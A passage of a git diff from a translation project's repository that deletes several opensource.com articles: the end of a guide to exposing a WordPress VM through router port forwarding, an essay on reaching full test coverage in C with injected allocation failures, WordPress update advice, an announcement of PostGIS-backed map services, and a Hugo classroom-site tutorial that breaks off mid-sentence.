If you don't own or control your router, then you must talk to your systems administrator for access. - -A _router_ is the box you got from your internet service provider. You might also call it your _modem_. - -Every device is different, so there's no way for me to definitively tell you what you need to click on to adjust your settings. Generally, you access your home router through a web browser. Your router's address is often printed on the bottom of the router and begins with either 192.168 or 10. - -Navigate to the router address and log in with the credentials you were provided when you got your internet service. It's often as simple as `admin` with a numeric password (sometimes this password is printed on the router, too). If you don't know the login, call your internet provider and ask for details. - -Different routers use different terms for the same thing; keywords to look for are **Port forwarding**, **Virtual server**, and **Firewall**. Whatever your router calls it, you want to accept traffic coming to port 80 of your router and forward that traffic to the same port of your virtual machines's IP address (in this example, that is 192.168.86.149, but it could be different for you). - -![Example router setting screen][19] - -Now you're allowing traffic through the web port of your router's firewall. To view your Wordpress site over the Internet, get your worldwide IP address. You can get your global IP by going to the site [icanhazip.com][20]. Then go to a different computer, open a browser, and navigate to that IP address. As long as Virtualbox is running, you'll see your Wordpress site on the Internet. You can do this from anywhere in the world, because your site is on the Internet now. - -Most websites use a domain name so you don't have to remember global IP addresses. You can purchase a domain name from services like [webhosting.coop][21] or [gandi.net][22], or a temporary one from [freenom.com][23]. Mapping that to your Wordpress site, however, is out of scope for this article. - -### Wordpress for everyone - -[WordPress][24] is open source and is licensed under the [GNU Public License][25]. You are welcome to contribute to WordPress as either a [developer][26] or enthusiast. WordPress is committed to being inclusive and accessible as possible. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/4/wordpress-virtual-machine - -作者:[Don Watkins][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/don-watkins -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/painting_computer_screen_art_design_creative.png?itok=LVAeQx3_ (Painting art on a computer screen) -[2]: https://wordpress.com/ -[3]: https://edublogs.org/ -[4]: https://www.virtualbox.org/ -[5]: https://www.turnkeylinux.org -[6]: https://www.turnkeylinux.org/wordpress -[7]: https://opensource.com/sites/default/files/uploads/how_to_get_started_with_wp_in_the_classroom_1.png -[8]: https://opensource.com/sites/default/files/uploads/how_to_get_started_with_wp_in_the_classroom_2.png (Virtualbox menu) -[9]: https://opensource.com/sites/default/files/uploads/how_to_get_started_with_wp_in_the_classroom_3.png (Console) -[10]: https://opensource.com/sites/default/files/uploads/how_to_get_started_with_wp_in_the_classroom_4.png (Wordpress welcome) -[11]: https://opensource.com/sites/default/files/uploads/how_to_get_started_with_wp_in_the_classroom_5.png (Login screen) -[12]: https://opensource.com/sites/default/files/uploads/how_to_get_started_with_wp_in_the_classroom_6.png (Wordpress dashboard) -[13]: https://opensource.com/sites/default/files/uploads/how_to_get_started_with_wp_in_the_classroom_7.png (Wordpress configuration) -[14]: http://Wordpress.org -[15]: http://WordPress.org -[16]: https://opensource.com/sites/default/files/uploads/how_to_get_started_with_wp_in_the_classroom_8.png (Turnkey theme) -[17]: https://opensource.com/sites/default/files/uploads/how_to_get_started_with_wp_in_the_classroom_12.png (Add post dropdown) -[18]: https://opensource.com/sites/default/files/uploads/how_to_get_started_with_wp_in_the_classroom_13.png (Wordpress classroom blog) -[19]: https://opensource.com/sites/default/files/router-web.jpg (Example router setting screen) -[20]: http://icanhazip.com/ -[21]: https://webhosting.coop/domain-names -[22]: https://www.gandi.net -[23]: http://freenom.com/ -[24]: https://wordpress.org/ -[25]: https://github.com/WordPress/WordPress/blob/master/license.txt -[26]: https://wordpress.org/five-for-the-future/ diff --git a/sources/tech/20200417 Is reporting 100- of code coverage reasonable.md b/sources/tech/20200417 Is reporting 100- of code coverage reasonable.md deleted file mode 100644 index 6d57fb30f8..0000000000 --- a/sources/tech/20200417 Is reporting 100- of code coverage reasonable.md +++ /dev/null @@ -1,174 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Is reporting 100% of code coverage reasonable?) -[#]: via: (https://opensource.com/article/20/4/testing-code-coverage) -[#]: author: (Eric Herman https://opensource.com/users/ericherman) - -Is reporting 100% of code coverage reasonable? -====== -The time required to reach reporting 100% of code coverage is -considerably less than what I would have estimated before this -exploration. -![Code going into a computer.][1] - -The [Foundation for Public Code][2] works to enable open and collaborative public-purpose software for public organizations (like local governments) internationally. We do this by supporting software at the codebase level through codebase stewardship. We also publish the [Standard for Public Code][3] (draft version 0.1.4 at the time of this writing), which helps open source codebase communities build solutions that can be reused successfully by other organizations. It includes guidance for policymakers, managers, developers, designers, and vendors. - -Among other things, the standard addresses [code coverage][4], or how much of the code is executed when an automated test suite runs. It's one way to measure the likelihood that the code contains undetected software bugs. In the standard's ["Use continuous integration" requirements][5], it says, "source code test and documentation coverage **should** be monitored." Additionally, the [guidance to check][6] this requirement states, "code coverage tools check whether coverage is at 100% of the code." - -Over my software development career, which spans more than two decades, I have worked on codebases large and small and some with very high percentages of code coverage. Yet none of the non-trivial codebases I have contributed to have reported 100% test coverage. This made me question whether the "_check whether coverage is at 100%_" guidance would be followed. - -When I think about the nature of the test coverage gaps in the codebases I have worked on, they typically have been around system states that are very difficult (and in some cases, impossible) to create. For instance, in earlier versions of Java, I recall we were required to write catch blocks for exceptions that could never be thrown. - -Previously, I reasoned that 100% test coverage is something to aspire to, but it is probably not worth the cost on most codebases and may not be realistic in a few. - -Coverage tools have been getting smarter and more tunable over time. Languages have been getting lighter, and libraries have been getting easier to mock and test. So how unreasonable is 100% coverage of functionality today? - -### Resource exhaustion - -The high-quality but low test-coverage codebases I contribute to happen to be written in C or C++. A quick glance at these codebases shows that there is a class of common low-coverage situations that I'll lump together under the umbrella of resource exhaustion: out of memory, out of disk space, etc. - -Here is a simple example of code that does not check for resource exhaustion; in this case, memory allocation failure: - - -``` -char *buf = malloc(80); -sprintf(buf, "hello, world"); -``` - -This example code needs to allocate a small buffer, so it calls **malloc(80)**, and **malloc** usually returns a pointer to 80 bytes of memory … but that can fail. In the (unlikely) case that **malloc** returns **NULL**, the code above will proceed to call **sprintf** with a **NULL** pointer which causes a crash. It is typical in C code to do something more like this: - - -``` -char *buf = malloc(80); -if (buf == NULL) { -    fprintf(stderr, "malloc returned NULL for 80 bytes?\n"); -    return NULL; -} -sprintf(buf, "hello, world"); -``` - -This code guards against **malloc** returning **NULL**, which is better. However, creating tests for correct behavior in the face of this kind of resource exhaustion can be really hard. It's not impossible, of course, and there are multiple approaches. Many approaches result in fragile tests, which require a lot of maintenance over time, and these tests can be very time-consuming to build in the first place. - -### Exploration - -Pondering this, I decided to run a little experiment to see if I could learn something about the costs and consequences of this strict, 100% criterion. - -Since I do some embedded-systems development, I have a few C libraries that I've developed and reused over the years in my embedded projects. I decided to look at some of these libraries and see just how hard it would be to bring them up to 100% code coverage. In the process, I paid attention to the impact on code clarity, code structure, and performance. - -#### A library with preexisting dependency injection - -Step one is measuring by adding code coverage to a codebase. Since this is C, **gcc** provides quite a lot by default with the **\--coverage** option, and **lcov** (with **genhtml**) does a good job of making reports; thus, this step was easy. I expected the starting coverage to be pretty good—it was, but it had a few untested branches, as well as the predicted gaps around error conditions and error reporting. - -I made error reporting pluggable, so it was easier to capture and make assertions around error messages in previously untested branches. - -Since this code already allowed for pluggable implementations of **malloc** and **free**, it was straightforward to write little malloc and free wrappers that I could inject memory allocation failures into. Within an hour or two, that was covered. - -In the process, I realized that there was one condition where, from the perspective of the calling client code, it was impossible to distinguish between the situation where an error occurs and one where **NULL** is a valid return value. For you C programmers, it was essentially similar to the following: - - -``` -/* stashes a copy of the value - * returns the previously stashed value */ -char *foo_stash(foo_s *context, -                char *stash_me, -                size_t stash_me_len) -{ -    char *copy = malloc(stash_me_len); -    if (copy == NULL) { -        return NULL; -    } -    memcpy(copy, stash_me, stash_me_len); -    char *previous = context->stash; -    context->stash = copy; -    /* previous may be NULL */ -    return previous; -} -``` - -I adjusted the API to allow the error information to be explicitly available. If you are a C developer, you know there are various ways this can be accomplished. I chose an approach similar to this: - - -``` -/* stashes a copy of the value - * returns the previously stashed value - * on error, the 'err' pointer is set to 1 */ -char *foo_stash2(foo_s *context, -                char *stash_me, -                size_t stash_me_len, -                int *err) -{ -    char *copy = malloc(stash_me_len); -    if (copy == NULL) { -        *err = 1; -        return NULL; -    } -    memcpy(copy, stash_me, stash_me_len); -    char *previous = context->stash; -    context->stash = copy; -    /* previous may be NULL */ -    return previous; -} -``` - -Without testing for resource exhaustion, it may have taken a long time for me to notice this (now obvious) shortcoming of the API. - -To get **lcov** to report 100% test coverage, I had to tell the compiler to [not inline any code][7], something I learned it does even at optimization level zero. - -When embedded in actual firmware, the compiler optimized away the unused indirection; therefore, the added indirection in the source code imposed no real-world performance penalty in the compiled firmware. - -Of course, this was the easy library. - -#### A more typical library - -Once I established a method of injecting memory allocation failures in tests, I decided to move onto another library, but one for which malloc and free were not already pluggable. I had questions. How invasive will this be to the codebase? Will it clutter the code, making it less clear? How time-consuming will it be? - -While I don't always record coverage metrics, I am a big believer in testing: more than 20 years ago, I learned that my code improves if I write the tests and client code [before][8] the implementation code, and I have worked that way ever since. (In [_Test-Driven Development: By Example_][9], you can find my name in the acknowledgments.) Yet, when I added code coverage reporting to the second library, I was surprised to see that (at some point in the past) I had added a pair of functions to the library without adding tests for them. The other untested areas were, unsurprisingly, code to handle memory-allocation failure. - -Writing tests for the pair of untested functions was, of course, quick and easy. The coverage tools also revealed that I had a function with an untested code branch that, given only a quick glance, contained a bug. The fix was trivial, yet I was surprised to find a bug, given the different projects where I use this library. Nonetheless, there it was, a humbling reminder that, all too often, bugs lurk in untested code. - -Next up was the more challenging stuff: testing for resource exhaustion. I started by introducing some global variables for the malloc/free function pointers, as well as a variable to hold a memory-tracking object. Once that was working, I moved those variables from global scope into a context argument that was already present. Refactoring the code to allow for the necessary indirection took only a couple of hours (less time than I expected), and the complexity added was negligible. - -### Reflections - -My conclusion from the first library was that it was well worth the time. The code is now more flexible, the API is now more complete for the caller, and writing the failure injection harness was pretty easy. - -From the second library, I was reminded that even less-pluggable code could be made testable without adding undue levels of complexity. The code improved, I fixed a bug, and I can be more confident in the code. Also, the additional modularity of being able to plug in an alternative memory allocator is a feature that may prove more valuable in the future. - -Exclusion comments are a feature of **lcov** to cause coverage reporting to ignore a block of code. Interestingly, I didn't feel the need to use exclusion comments in either library. - -I am more certain than ever that even very good code is improved by investing in test coverage. - -Both of these codebases are small, had some modularity already, began from a point of good testing, are single-threaded, and contain no graphical UI code. If I were to try to tackle this on one of the larger, more monolithic codebases I contribute to, it would be harder and require a larger time investment. There would likely be some sections of code where I might still conclude that the best thing to do would be to "cheat" by tuning the tooling to not report on some section of code. - -That said, I estimate that the time required to reach reporting 100% of code coverage is considerably less than what I would have estimated before this exploration. - -If you happen to be a C coder and want to see a running example of this, including **gcov** / **lcov** usage, I extracted the out-of-memory injecting code and put it in an [example repository][10]. - -Have you pushed a codebase to 100% coverage by tests, or tried to? What was your experience? Please share it in the comments. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/4/testing-code-coverage - -作者:[Eric Herman][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/ericherman -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/code_computer_development_programming.png?itok=4OM29-82 (Code going into a computer.) -[2]: https://publiccode.net/ -[3]: https://standard.publiccode.net -[4]: https://en.wikipedia.org/wiki/Code_coverage -[5]: https://standard.publiccode.net/criteria/continuous-integration.html#requirements -[6]: https://standard.publiccode.net/criteria/continuous-integration.html#how-to-test -[7]: https://twitter.com/Eric_Herman/status/1224983465784938496 -[8]: https://opensource.com/article/20/2/automate-unit-tests -[9]: https://www.oreilly.com/library/view/test-driven-development/0321146530/ -[10]: https://github.com/ericherman/context-alloc diff --git a/sources/tech/20200419 A stress-free guide to keeping WordPress sites updated.md b/sources/tech/20200419 A stress-free guide to keeping WordPress sites updated.md deleted file mode 100644 index 98ee9b1b1e..0000000000 --- a/sources/tech/20200419 A stress-free guide to keeping WordPress sites updated.md +++ /dev/null @@ -1,116 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (A stress-free guide to keeping WordPress sites updated) -[#]: via: (https://opensource.com/article/20/4/updating-wordpress) -[#]: author: (Sara Kelly https://opensource.com/users/sarapk) - -A stress-free guide to keeping WordPress sites updated -====== -This practical guide to a necessary task will show you how to maximize -site performance and avoid bugs and other issues with regular updates. -![Working from home at a laptop][1] - -We all know how important it is to keep WordPress sites updated. New updates provide the latest bug and security fixes against any nasties lurking on the web. But, more critically, an outdated site can also lead to poor performance, such as slow loading speed or an outdated look and feel. - -Unfortunately, keeping your WordPress site up-to-date is not as easy as clicking a button. There are several components to consider, from theme to plugins to PHP. Even worse, updating too quickly can wreak another kind of havoc. Have you ever experienced the dreaded, "There has been a critical error on your website" warning after an innocent little update? I know I have, many times! - -Here is a practical guide on what to look out for, as well as when and what to update, to ensure your WordPress site works well. - -### Updating WordPress - -Let's start with the basics. Check your WordPress version is up-to-date by visiting Dashboard > Updates. - -![WordPress update screen][2] - -### Choosing a WordPress theme - -Before we deep dive into updating themes, I'd like to take a few steps back. Choose an up-to-date theme from the get-go and do your homework before installing it! There is nothing worse than pouring your heart and soul into customizing a new theme, only to discover it is buggy. - -Questions to ask when choosing a theme include: - - * When was it first created? - * What is the current version available? - * Does the theme provider still maintain an active demo site and helpdesk? - * What do recent reviews say about the theme? - - - -If the theme provider is no longer maintaining the theme, save yourself the trouble and move on. Also, don't assume that just because you paid for a theme, that is necessarily maintained. I recently fell into this trap when I purchased [Pinable][3]. I loved the Pinterest look and feel. However, soon after installation, I noticed the lack of customization within the theme settings, major compatibility issues arose with my plugins, and the customer service was nonexistent. I should have known better. The theme was created in 2013 and selling for a bargain. - -If you already have a theme, then pay attention to how frequently updates become available. If there are never any updates, the theme provider may have closed up shop. It is only a matter of time before the impact of an outdated theme will cause problems. - -A quick aside while we are on the topic—up-to-date themes also give access to the two new alignment options in the WordPress block editor, which enable wide-width and full-width images. These help your blog posts look more professional. While there are a number of [tutorials][4] on the web that show you how to manually update your functions, PHP file, and CSS to enable the new alignment blocks, the code does not always work on older themes (especially masonry themes). - -![Wordpress theme][5] - -### Updating themes - -To check the current version of your theme, go to Appearance > Themes and click on the active theme to see the current version. If an upgrade is available, there will be an alert banner. Click on "update now" to initiate the update. You can also check for updates by going to Dashboard > Updates. - -![Themify screenshot][6] - -If you purchased a theme from a marketplace such as [Envato][7] or [Themify][8], check the theme documentation to learn what is required to initiate updates, as it will not show up automatically in the dashboard. In most cases, you will be required to download and install a specific plugin or manually upload new versions when they become available. In the latter case, you will need to delete or rename the old theme file via your cPanel before you can install the new one. A guide to installing themes via cPanel is available [here][9]. - -If you plan to customize your theme extensively and are worried about the impact of this when upgrading, consider creating a child theme first. A child theme lets you make changes without touching the original theme's code. You can then update your site without losing any customizations you've made. Read more about child themes [here][10]. - -As I said before, the source of most issues tends to be the theme. Learn what is required to keep your theme up to date, and do so regularly. If your theme provider is no longer creating updates, then find a new theme. - -### Easy does it for plugins - -If you manage multiple plugins, then you will be used to the frequent dashboard reminders to update! Before we get onto that, though, let's touch on some basics. - -As a general rule, you don't want to have too many plugins. They slow down the speed of your site by creating more code that the browser has to load. Always delete any inactive plugins. I prefer to manage plugins on the Plugins tab. Here you can see all active and inactive plugins, the current version, and whether an update is available. To update the plugin, simply click "update." - -![Plugin update page][11] - -Nonetheless, I implore you to wait a week or two before installing new updates. Updating my plugins too quickly has caused me no end of grievances. To begin with, updates are prone to human error. Don't be the guinea pig that tests out the latest version. Sometimes, the newest version of a plugin is not compatible with an older version of WordPress or your theme. Check these are up-to-date first. - -### Website down after updating plugins? - -If your site has stopped working or performance has dropped noticeably after updating your plugins, then all is not lost. Forget about those newfangled plugins that promise to test speed and identify buggy plugins (the last thing you want is more plugins)! Disable all your plugins, then activate one at a time while you test the speed and performance of your site on a website such as [Pingdom][12]. This is a great exercise to perform periodically, even if your website has not crashed. Once you identify the plugin causing the problem, delete it. - -In the event you cannot access WordPress because there is a critical error, then you will need to access your files via cPanel and delete all the plugin folders from there ([full instructions here][13]). Don't worry; doing this will not impact your website's content. You can then proceed to reinstall and activate the plugins one-by-one via WordPress. - -Cache plugins tend to be the biggest culprit in my experience. Issues with cache plugins can be minimized by clearing the cache frequently. Do not install multiple cache plugins that perform the same function, as they will only serve to slow down your site. The only way to truly get around cache plugin issues is to either not use them, use a plugin recommended by your hosting provider, or become an expert on cache. [This blog][14] on common cache issues in WordPress is a good place to start. - -### Back up before updating PHP - -If you are concerned about your website speed and have spent enough time browsing Google for answers, then you likely have seen the advice, "You gotta update your PHP!" Please tread carefully with manual PHP updates, though! If you have a good hosting provider, you should never need to do this. Rather, select the option for automatic PHP version management with your host. Newer versions of PHP may not be stable or compatible with the version of WordPress you are running. Let your hosting provider be the one to determine when updates are ready. - -However, if you are adamant that an old version of PHP is causing your website to be slow, take care to follow these steps before initiating an update. First, back up your site. Investing in a premium version of [Jetpack][15] is worth its weight in gold. Jetpack can perform real-time as well as daily backups, depending on your plan. Not to mention, their customer service and troubleshooting support are excellent. Secondly, inform your hosting provider that you plan to update the PHP and seek their advice first. If your host is unable to advise or wants to charge you for the privilege, you should probably think about changing hosts. - -You can update PHP either via cPanel or via your hosting platform under Devs > PHP Manager. After that, you are on your own, as that is where my expertise on PHP ends. - -If you have any other tips or pitfalls regarding updating WordPress, drop them in the comments box below. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/4/updating-wordpress - -作者:[Sara Kelly][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/sarapk -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/wfh_work_home_laptop_work.png?itok=VFwToeMy (Working from home at a laptop) -[2]: https://opensource.com/sites/default/files/uploads/wp_update_1.png (Wordpress update screen) -[3]: https://www.theme-junkie.com/themes/pinable/ -[4]: https://www.billerickson.net/full-and-wide-alignment-in-gutenberg/ -[5]: https://opensource.com/sites/default/files/uploads/wp_theme_2.png (Wordpress theme) -[6]: https://opensource.com/sites/default/files/uploads/themify_3.png (Themify screenshot) -[7]: https://elements.envato.com/ -[8]: https://themify.me/ -[9]: https://hostadvice.com/how-to/how-to-install-a-wordpress-theme-using-cpanel/ -[10]: https://developer.wordpress.org/themes/advanced-topics/child-themes/ -[11]: https://opensource.com/sites/default/files/uploads/plugins_4.png (Plugin update page) -[12]: https://tools.pingdom.com/ -[13]: https://www.wpbeginner.com/plugins/how-to-deactivate-all-plugins-when-not-able-to-access-wp-admin/ -[14]: https://mhthemes.com/support/knb/solving-common-cache-issues-on-wordpress-websites/ -[15]: https://jetpack.com/upgrade/backup/?utm_source=google&utm_campaign=google_jetpack_search_brand_desktop_sg_en&utm_medium=paid_search&utm_term=%2Bwordpress%20%2Bjetpack%20%2Bbackup&creative=379260213317&campaignid=2061290863&utm_content=77066462603&matchtype=b&device=c&network=g&gclid=Cj0KCQjwu6fzBRC6ARIsAJUwa2RuPx5Dzr72eBEtZegsf11MmOBgLiwLX2HcEUXVaULIgv1MdZqGmeAaArmFEALw_wcB&gclsrc=aw.ds diff --git a/sources/tech/20200420 New open source GIS projects for Kubernetes applications.md b/sources/tech/20200420 New open source GIS projects for Kubernetes applications.md deleted file mode 100644 index a8fdec6e71..0000000000 --- a/sources/tech/20200420 New open source GIS projects for Kubernetes applications.md +++ /dev/null @@ -1,99 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (New open source GIS projects for Kubernetes applications) -[#]: via: (https://opensource.com/article/20/4/gis-kubernetes) -[#]: author: (Adam Timm https://opensource.com/users/timmam) - -New open source GIS projects for Kubernetes applications -====== -pg_tileserv and pg_featureserv make it easier for developers to add -location services to Kubernetes applications. -![A map with a route highlighted][1] - -Spatial data from geographic information systems (GIS) is all around us. From smartphones that make our lives better and more convenient to precision agriculture that is increasing the amount of food farmers can produce while reducing the cost, whether or not we realize it, almost every part of our lives is touched by spatial data. - -This increase of spatial data is simultaneously bringing an increase of open spatial datasets that people can consume and use to build all sorts of new applications. However, these types of datasets have not always been easy to work with. Also, due to the size of some of the geographic data, they can be difficult to bring to modern application deployment frameworks such as Kubernetes. - -To help with these issues, [Crunchy Data][2] recently announced two new open source projects, [pg_tileserv][3] and [pg_featureserv][4], to make it easier to develop cloud-native spatial applications. These projects, part of open source [Crunchy Spatial][5], help developers leverage the robust [PostGIS][6] geospatial database extension to [PostgreSQL][7] without having to write complex SQL statements. - -So what are pg_tileserv and pg_featuresev, how do they make it easier for developers to add location services to their Kubernetes applications, and what does this mean for the future of spatial applications? - -### Traditional GIS vs. modern spatial microservices - -Traditionally, when an organization or individual works with spatial data, they start with a product that grew up as a GIS. There are many high-quality open source GIS products ([QGIS][8], [GeoServer][9], [GeoNode][10], etc.), but they may not align with modern, cloud-native approaches to software design. - -The popularity of Kubernetes creates challenges for these legacy applications around automation and deployment, as they require a lot of manual configuration, for example, when data sources are added and modified. In many setups, these spatial applications must exist outside Kubernetes and cannot leverage many of the conveniences it provides. - -In contrast, modern spatial services should be driven by the spatial data that they are processing and serving out. They should align with modern software development practices and scale efficiently and integrate easily with developer workflows. - -Applications that are spatially aware also need to ensure they can handle the unique characteristics of spatial data (e.g., geometries, projections, etc.). To do all of this in independent microservices can be challenging unless you have a highly capable database to do the majority of the work for you. This is where pg_tileserv and pg_featureserv help, as both projects leverage the power of PostGIS, an open source geospatial extension to PostgreSQL, to provide advanced spatial capabilities from a simple REST framework - -### Generate map vector tiles with pg_tileserv - -![pg_tileserv][11] - -pg_tileserv is a lightweight vector tile server written in Go that enables you to generate [vector tiles][12] directly from PostGIS. It does this by implementing the **ST_AsMVT()** function in a best-practice method that translates an HTTP request to the database. It includes common defaults that allow you to pass a database connection URL to the server and be up and running in no time. There's no heavyweight software to install and configure, and it's designed for cloud-native GIS applications. - -For specific examples on how to use it, check out our blog posts on [tile serving][13] and [spatial tile serving with PostgreSQL functions][14]. - -### Annotate your maps with pg_featureserv - -![pg_featureserv][15] - -pg_featureserv is a lightweight service written in Go that enables you to serve features directly out of PostGIS. It implements the [OGC API][16] for features and provides a standard REST endpoint for your spatial data and functions contained in PostGIS. Just like pg_tileserv, there's no heavyweight software to install; just pass a database connection URL to your PostGIS database, and you're off to the races. For a specific example of how to use it, check out our post on [querying spatial features][17]. - -### Focus on spatial data, not GIS - -With our deep background in developing PostGIS and building PostGIS-backed applications, we wanted to help developers unlock all the value of spatial data in a way that is easy to deploy, scale, and maintain. As the source code of pg_tileserv and pg_featureserv show, we are just leveraging functions already in PostGIS. This allows developers to quickly add spatial data to their applications and data scientists to focus on the data. - -![GIS architecture][18] - -The benefits of this approach are: - - * Faster performance because PostgreSQL and PostGIS are doing the work for you - * Less configuration to maintain because the database structure is the configuration - * By design, it runs in the cloud at enterprise scale from the start - * Shorter times to update customer-facing applications—when you update your data in the database, your application is updated instantly - * Ability to focus more on maintaining your data and delivering value to your users and less on wrangling software - - - -Also, since these services respond to the configuration of your database, they also expose functions contained in the database. Rather than developing their data functions to incorporate them into software later, data scientists can create functions in the database that are immediately made available via a REST API. The software begins to fade into the background so an organization can focus on the data. - -Suffice it to say, we're pretty excited about these new geospatial services, and we definitely want your feedback on them. Feel free to check out [pg_tileserve][3] and [pg_featureserv][4], try deploying them alongside your PostGIS databases with the [PostgreSQL Operator][19], and share your feedback in the comments. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/4/gis-kubernetes - -作者:[Adam Timm][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/timmam -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/map_route_location_gps_path.png?itok=RwtS4DsU (A map with a route highlighted) -[2]: https://www.crunchydata.com/ -[3]: https://github.com/CrunchyData/pg_tileserv -[4]: https://github.com/CrunchyData/pg_featureserv -[5]: https://www.crunchydata.com/products/crunchy-spatial/ -[6]: https://postgis.net/ -[7]: https://www.postgresql.org -[8]: https://www.qgis.org/en/site/ -[9]: http://geoserver.org/ -[10]: http://geonode.org/ -[11]: https://opensource.com/sites/default/files/pg_tileserv.jpg (pg_tileserv) -[12]: https://info.crunchydata.com/blog/dynamic-vector-tiles-from-postgis -[13]: https://info.crunchydata.com/blog/crunchy-spatial-tile-serving -[14]: https://info.crunchydata.com/blog/crunchy-spatial-tile-serving-with-postgresql-functions -[15]: https://opensource.com/sites/default/files/pg_featureserv.jpg (pg_featureserv) -[16]: http://www.ogcapi.org/ -[17]: https://info.crunchydata.com/blog/crunchy-spatial-querying-spatial-features-with-pg_featureserv -[18]: https://opensource.com/sites/default/files/uploads/architecture_0.png (GIS architecture) -[19]: https://github.com/CrunchyData/postgres-operator diff --git a/sources/tech/20200421 How I use Hugo for my classroom-s open source CMS.md b/sources/tech/20200421 How I use Hugo for my classroom-s open source CMS.md deleted file mode 100644 index bef4b09a9a..0000000000 --- a/sources/tech/20200421 How I use Hugo for my classroom-s open source CMS.md +++ /dev/null @@ -1,99 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How I use Hugo for my classroom's open source CMS) -[#]: via: (https://opensource.com/article/20/4/hugo-classroom) -[#]: author: (Peter Cheer https://opensource.com/users/petercheer) - -How I use Hugo for my classroom's open source CMS -====== -This open source software streamlines text editing while leaving room -for customization. -![Digital hand surrounding by objects, bike, light bulb, graphs][1] - -People love Markdown text with good reason—it is easy to write, easy to read, easy to edit, and it can be converted to a wide range of other text mark up formats. While Markdown text is very good for content creation and manipulation, it imposes limitations on the options for content display. - -If we could combine the virtues of Markdown with the power and flexibility of Cascading Style Sheets, HTML5, and JavaScript, that would be something special. One of the programs trying to do this is [Hugo][2]. Hugo was created in 2013 by Steve Francia; it is cross-platform and open source under an Apache 2.0 license with an active developer community and a growing user base. - -The basic concept is that pieces of content, such as web pages or blog posts, written in Markdown and associated with metadata, are converted into HTML and combined with templates and themes to produce a complete web site. The power and flexibility come through these themes and templates or changing the default behaviors of Hugo. This power comes with a degree of unavoidable complexity, but there are lots of [pre-built templates][3] available if you lack the time or inclination to make your own. - -Installing Hugo on my Linux machine was quick and easy. Starting a new project is as simple as typing **hugo new site quickstart** at the command line which creates a new project with this folder structure: - - * **archetypes**: Content template files that contain preconfigured front matter metadata (date, title, draft). You can create new archetypes with custom front matter fields. - * **assets**: Stores all the files, which are processed by Hugo Pipes (e.g., CSS/Sass files). This directory is not created by default. - * **config.toml**: The default site config file. - * **content**: Where all the content Markdown files live. - * **data**: Used to store configuration files that can be used by Hugo when generating your website. - * **layouts**: Stores templates as .html files. - * **static**: Stores all the static content—images, CSS, JavaScript, etc. - * **themes**: For the Hugo theme of your choice. - - - -The Markdown files in the content folder can be created manually or by Hugo and edited with any text editor or your Markdown creation tool of choice. If created manually, you will need to add any metadata that is needed. I prefer to use [Ghostwriter][4] for writing Markdown. Images are usually kept in a sub-folder in the static folder. Site development can proceed quickly, as Hugo includes a web server for testing and pre-viewing. - -To check your work, type **hugo server** at the command line to start the server. By default, Hugo will not publish: - - * Content with a future **publishdate** value. - * Content with **draft: true** status. - * Content with a past **expirydate** value. - - - -Adding **hugo server -D** will include draft articles, and Hugo can be configured to mark all new articles as draft. After starting the web server, you can see your work in a web browser at localhost:1313. Once the server is started by default, it will automatically reload the browser window when it detects a change to one of your files. - -There are tasks Markdown cannot do that need some HTML code. Hugo recognizes this but believes in keeping Markdown code as clean, simple, and uncluttered as possible. Hugo does this with shortcodes such as **{{< youtube id= "w7Ft2ymGmfc" autoplay= "true">}}**, which will embed the YouTube video with id. w7Ft2ymGmfc. There are quite a few pre-built shortcodes for common tasks, but it is also possible to create your own for particular jobs. - -I work in education quite a lot and wanted to include some interactive puzzles and questions on my Hugo-generated website. To get the output looking like this: - -![JClic shortcode][5] - -I created the activities with an open source Java program called [JClic][6], exported them as HTML5, put that into static/activities/excel, and displayed it in an iframe. - -The HTML code, which would spoil the nice clean Markdown content, looks like this: - - -``` -    <[iframe][7] -       src="/activity/excel/index.html" -       title="Activity" -       height="400" -       frameborder="0" -       marginwidth="0" -       marginheight="0" -       scrolling="no" -       style="border: 1px solid #CCC; border-width: 1px; margin-bottom: 20px; width: 100%;" -       allowfullscreen="true"> -    </[iframe][7]> -``` - -The code is saved in layouts/shortcodes as **activity.html** - -This makes the shortcode placed inside my Markdown file **{{<activity>}}**, which is much neater. - -When your project is ready, you can build it with the **hugo** command; this will create a public folder and generate the website in it. Hugo has a number of built-in deployment options for different hosting providers—basically, you deploy your site by copying the public folder to your production web server. There is a lot more to Hugo that I haven't even gotten to yet, including configuration options, importing content from other static site generators and Wordpress, display data from JSON files, syntax highlighting of source code, 